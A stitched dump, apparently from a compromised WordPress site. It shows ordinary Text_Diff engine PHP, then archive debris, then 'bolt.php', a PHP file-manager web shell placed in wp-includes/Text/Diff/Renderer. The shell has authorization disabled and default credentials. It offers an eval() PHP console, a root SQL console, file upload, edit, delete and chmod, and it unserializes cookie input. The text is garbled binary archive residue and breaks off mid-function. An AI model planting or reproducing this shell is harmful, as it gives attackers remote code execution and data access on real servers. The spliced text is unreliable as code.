                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
